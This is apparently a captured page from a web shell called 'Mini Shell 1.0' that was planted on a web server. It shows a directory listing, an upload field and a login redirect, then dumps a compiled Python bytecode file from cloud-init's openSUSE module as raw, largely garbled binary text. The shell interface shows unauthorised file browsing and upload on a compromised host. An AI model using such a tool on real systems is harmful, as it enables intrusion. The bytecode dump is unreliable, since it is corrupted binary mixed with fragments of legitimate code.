HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /lib/python3/dist-packages/cloudinit/distros/__pycache__/
Upload File :
Current File : //lib/python3/dist-packages/cloudinit/distros/__pycache__/opensuse.cpython-311.pyc
�

܍~c!��h�ddlmZmZmZmZddlmZddlm	Z	ddl
mZGd�dej��ZdS)�)�distros�helpers�subp�util)�	rhel_util)�HostnameConf)�PER_INSTANCEc��eZdZdZdZdgZdZdZdZdZ	dZ
d	Zd
Zddd
ddddd�d�iZ
d�Zd d�Zd�Zd!d�Zd�Zd�Zd d�Zd�Zd�Zd�Zd�Zed���ZdS)"�Distroz/etc/sysconfig/clockz
/etc/HOSTNAME�servicez/etc/sysconfig/languagez/etc/sysconfig/network/configz/etc/sysconfig/network/ifcfg-%sz!/etc/sysconfig/network/ifroute-%sz
/etc/hostnamez/etc/locale.confz/etc/localtime�	sysconfigzetc/sysconfig/network/config�susez%(base)s/network/ifcfg-%(name)sz3etc/udev/rules.d/85-persistent-net-cloud-init.rulesz!%(base)s/network/ifroute-%(name)s)�ipv4�ipv6)�control�flavor�iface_templates�
netrules_path�route_templatesc���tj�||||��tj|��|_d|_d|d<|���rdg|_d|d<dSdS)Nr�sshd�ssh_svcname�	systemctlzsshd.service)	rr�__init__r�Runners�_runner�osfamily�uses_systemd�init_cmd)�self�name�cfg�pathss    �</usr/lib/python3/dist-packages/cloudinit/distros/opensuse.pyrzDistro.__init__+sw�������d�C��7�7�7���u�-�-�����
�#��M�������	0�(�M�D�M�!/�C�
����	0�	0�Nc��|���r|s|j}d|i}n
|s|j}d|i}tj||��dS)N�LANG�RC_LANG)r�systemd_locale_conf_fn�locale_conf_fn�rhutil�update_sysconfig_file)r �locale�out_fn�
locale_cfgs    r$�apply_localezDistro.apply_locale4se�������	-��
5��4�� �&�)�J�J��
-��,��#�V�,�J��$�V�Z�8�8�8�8�8r%c�6�|�dd|���dS)N�installz--auto-agree-with-licenses)�args�pkgs)�package_command)r �pkglists  r$�install_packageszDistro.install_packages?s1������8�w�	�	
�	
�	
�	
�	
r%c��|�g}ddg}|dkrd}|�|��|r+t|t��r|�|��n,|r*t|t��r|�|��tjd|��}|�|��tj|d���dS)N�zypperz--non-interactive�upgrade�updatez%s-%sF)�capture)�append�
isinstance�str�list�extendr�expand_package_listr)r �commandr3r4�cmdr6s      r$r5zDistro.package_commandDs����<��D��,�-���i����G��
�
�7�����	�J�t�S�)�)�	��J�J�t�����
�	�j��t�,�,�	��J�J�t�����*�7�D�9�9���
�
�7����	
�	�#�u�%�%�%�%�%�%r%c�L�|�|��}|���r5tj|j��tj||j��dSdt
|��i}tj|j	|��tj
||j��dS)N�TIMEZONE)�
_find_tz_filerr�del_file�tz_local_fn�sym_linkr?r+r,�
clock_conf_fn�copy)r �tz�tz_file�	clock_cfgs    r$�set_timezonezDistro.set_timezone\s����$�$�R�(�(�������	1�
�M�$�*�+�+�+��M�'�4�#3�4�4�4�4�4��C��G�G��I�
�(��);�Y�G�G�G��I�g�t�/�0�0�0�0�0r%c�X�|j�d|jdgt���dS)Nzupdate-sources�refresh)�freq)r�runr5r	�r s r$�update_package_sourceszDistro.update_package_sourcesls<�������� �
�K��		�	
�	
�	
�	
�	
r%c��|���r;|�d��r&tj|�����S|���r+tjdg��\}}t
|��r|S|S	|�|��}|j}n#t$rYnwxYw|s|S|S)N�/previous-hostname�hostname)
r�endswithr�	load_file�stripr�len�_read_hostname_confrY�IOError)r �filename�default�out�_err�confrYs       r$�_read_hostnamezDistro._read_hostnamets��������	�8�#4�#4�5I�#J�#J�	��>�(�+�+�1�1�3�3�3�
�
�
�
 �
 �	��)�Z�L�1�1�K�S�$��3�x�x�
��
���
��/�/��9�9���=�����
�
�
���
�����
����Os�B-�-
B:�9B:c��dS)Nz	127.0.1.1�rUs r$�_get_localhost_ipzDistro._get_localhost_ip�s���{r%c�p�ttj|����}|���|S�N)rrr[�parse)r r`rds   r$r^zDistro._read_hostname_conf�s+���D�N�8�4�4�5�5���
�
�����r%c�v�|���r|j}n|j}||�|��fSrj)r�systemd_hostname_conf_fn�hostname_conf_fnre)r �host_fns  r$�_read_system_hostnamezDistro._read_system_hostname�sA�������	,��3�G�G��+�G���,�,�W�5�5�6�6r%c���|���r,|�d��rtj||��dS|���r&t	jddt|��g��dSd}	|�|��}n#t$rYnwxYw|std��}|�	|��tj|t|��d��dS)NrX�hostnamectlzset-hostname�i�)
rrZr�
write_filerr?r^r_r�set_hostname)r rYr`rds    r$�_write_hostnamezDistro._write_hostname�s�������	8�8�#4�#4�5I�#J�#J�	8��O�H�h�/�/�/�/�/�
�
�
�
 �
 �
	8��I�}�n�c�(�m�m�D�E�E�E�E�E��D�
��/�/��9�9�����
�
�
���
�����
(�#�B�'�'�����h�'�'�'��O�H�c�$�i�i��7�7�7�7�7s�>B�
B!� B!c��|js|tj��d}|d}t|d�d��d��}|dkrd|vs|dkrd|vr|dkr
gd�|_n	gd	�|_|jS)
z5The preferred ntp client is dependent on the version.�distr��.��openSUSE�*)�chrony�systemd-timesyncd�ntp)r�rr~)�_preferred_ntp_clientsr�system_info�int�split)r �distro_infor!�	major_vers    r$�preferred_ntp_clientszDistro.preferred_ntp_clients�s���
�*�	��*�,�,�V�4�K��q�>�D��K��N�0�0��5�5�a�8�9�9�I��R���J�d�$:�$:��R���J�$�$6�$6�9��?�?�/�/�/��+�+�/�/�/��+��*�*r%rj)NN)�__name__�
__module__�__qualname__rKrnrr*�network_conf_fn�network_script_tpl�route_conf_tplrmr)rI�renderer_configsrr0r7r5rPrVrerhr^rprv�propertyr�rgr%r$rrsN������*�M�&���{�H�.�N�5�O�:��8�N�.��/��"�K��5��@�E�<�;� � �
�
�
��0�0�0�	9�	9�	9�	9�
�
�
�
&�&�&�&�01�1�1� 
�
�
�����&������
7�7�7�8�8�8�$�+�+��X�+�+�+r%rN)
�	cloudinitrrrr�cloudinit.distrosrr+�"cloudinit.distros.parsers.hostnamer�cloudinit.settingsr	rrgr%r$�<module>r�s���3�2�2�2�2�2�2�2�2�2�2�2�1�1�1�1�1�1�;�;�;�;�;�;�+�+�+�+�+�+�r+�r+�r+�r+�r+�W�^�r+�r+�r+�r+�r+r%